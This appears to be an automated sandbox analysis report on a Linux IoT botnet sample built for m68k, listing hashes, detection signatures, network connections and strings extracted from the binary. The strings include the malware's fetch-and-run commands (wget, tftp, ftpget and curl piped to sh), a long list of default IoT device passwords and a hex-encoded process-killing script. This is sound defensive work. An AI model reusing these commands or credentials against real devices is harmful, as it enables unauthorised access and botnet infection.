Linux Analysis Report
la.bot.m68k.elf

Overview

General Information

Sample name: la.bot.m68k.elf
Analysis ID: 1541961
MD5: 7277338aae0cb3c27e93626dd2d328f8
SHA1: 6aa1d2b2be0fa861f68a3b6672e56988c42acc59
SHA256: 7fa47ef90b6b6b97e06415f057c8f5c889b7ae1014ec78136d036ff3da7aae4b
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 48
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection

barindex
Source: la.bot.m68k.elf ReversingLabs: Detection: 28%
Source: la.bot.m68k.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.m68k.elf String: N^Nu/proc/ash|login|wget|curl|tftp|ntpdate|ftp/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//proc/net/tcp/proc/fd//proc/self/exe/. /proc//dev/watchdog/dev/misc/watchdogtelnetd|udhcpc|ntpclient|boa|httpd|mini_http|watchdog|pppd
Source: la.bot.m68k.elf String: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafed20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd sh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: /tmp/la.bot.m68k.elf (PID: 6207) Socket: 127.0.0.1:1234 Jump to behavior
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 100.149.103.187
Source: unknown TCP traffic detected without corresponding DNS query: 100.149.103.187
Source: unknown TCP traffic detected without corresponding DNS query: 13.45.252.11
Source: unknown TCP traffic detected without corresponding DNS query: 86.43.215.224
Source: unknown TCP traffic detected without corresponding DNS query: 13.45.252.11
Source: unknown TCP traffic detected without corresponding DNS query: 86.43.215.224
Source: unknown TCP traffic detected without corresponding DNS query: 47.208.38.2
Source: unknown TCP traffic detected without corresponding DNS query: 189.141.112.95
Source: unknown TCP traffic detected without corresponding DNS query: 22.112.95.55
Source: unknown TCP traffic detected without corresponding DNS query: 47.208.38.2
Source: unknown TCP traffic detected without corresponding DNS query: 189.141.112.95
Source: unknown TCP traffic detected without corresponding DNS query: 22.112.95.55
Source: unknown TCP traffic detected without corresponding DNS query: 38.171.96.174
Source: unknown TCP traffic detected without corresponding DNS query: 221.48.162.118
Source: unknown TCP traffic detected without corresponding DNS query: 222.137.106.118
Source: unknown TCP traffic detected without corresponding DNS query: 38.171.96.174
Source: unknown TCP traffic detected without corresponding DNS query: 161.98.184.5
Source: unknown TCP traffic detected without corresponding DNS query: 221.48.162.118
Source: unknown TCP traffic detected without corresponding DNS query: 77.254.25.198
Source: unknown TCP traffic detected without corresponding DNS query: 222.137.106.118
Source: unknown TCP traffic detected without corresponding DNS query: 113.96.88.153
Source: unknown TCP traffic detected without corresponding DNS query: 161.98.184.5
Source: unknown TCP traffic detected without corresponding DNS query: 77.254.25.198
Source: unknown TCP traffic detected without corresponding DNS query: 123.23.51.39
Source: unknown TCP traffic detected without corresponding DNS query: 113.96.88.153
Source: unknown TCP traffic detected without corresponding DNS query: 138.108.171.139
Source: unknown TCP traffic detected without corresponding DNS query: 180.181.222.179
Source: unknown TCP traffic detected without corresponding DNS query: 59.115.183.38
Source: unknown TCP traffic detected without corresponding DNS query: 123.23.51.39
Source: unknown TCP traffic detected without corresponding DNS query: 156.1.83.186
Source: unknown TCP traffic detected without corresponding DNS query: 138.108.171.139
Source: unknown TCP traffic detected without corresponding DNS query: 22.104.115.178
Source: unknown TCP traffic detected without corresponding DNS query: 80.35.99.251
Source: unknown TCP traffic detected without corresponding DNS query: 180.181.222.179
Source: unknown TCP traffic detected without corresponding DNS query: 59.115.183.38
Source: unknown TCP traffic detected without corresponding DNS query: 73.169.217.233
Source: unknown TCP traffic detected without corresponding DNS query: 19.65.154.131
Source: unknown TCP traffic detected without corresponding DNS query: 156.1.83.186
Source: unknown TCP traffic detected without corresponding DNS query: 88.123.80.219
Source: unknown TCP traffic detected without corresponding DNS query: 22.104.115.178
Source: unknown TCP traffic detected without corresponding DNS query: 80.35.99.251
Source: unknown TCP traffic detected without corresponding DNS query: 147.235.102.7
Source: unknown TCP traffic detected without corresponding DNS query: 154.115.249.203
Source: unknown TCP traffic detected without corresponding DNS query: 73.169.217.233
Source: unknown TCP traffic detected without corresponding DNS query: 19.65.154.131
Source: unknown TCP traffic detected without corresponding DNS query: 65.86.250.199
Source: unknown TCP traffic detected without corresponding DNS query: 88.123.80.219
Source: unknown TCP traffic detected without corresponding DNS query: 184.148.181.72
Source: unknown TCP traffic detected without corresponding DNS query: 147.235.102.7
Source: la.bot.m68k.elf String found in binary or memory: http:///curl.sh
Source: la.bot.m68k.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: Initial sample String containing 'busybox' found: (usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnpPon521rootZte521root621oelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinzlxx.7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_jat0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantechdreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123ipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8tluafed20150602vstarcam2015supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenablelinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd sh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//et
Source: ELF static info symbol of initial sample .symtab present: no
Source: /tmp/la.bot.m68k.elf (PID: 6209) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal48.linELF@0/0@0/0
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/793/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/772/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/796/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/774/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/797/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/777/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/799/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/658/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/759/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/761/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/785/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/884/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/788/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/789/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6209) File opened: /proc/904/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6207) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.m68k.elf, 6207.1.000055bfbc725000.000055bfbc7aa000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/m68k
Source: la.bot.m68k.elf, 6207.1.00007ffc55f12000.00007ffc55f33000.rw-.sdmp Binary or memory string: /usr/bin/qemu-m68k
Source: la.bot.m68k.elf, 6207.1.00007ffc55f12000.00007ffc55f33000.rw-.sdmp Binary or memory string: \x86_64/usr/bin/qemu-m68k/tmp/la.bot.m68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.m68k.elf
Source: la.bot.m68k.elf, 6207.1.000055bfbc725000.000055bfbc7aa000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/m68k
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs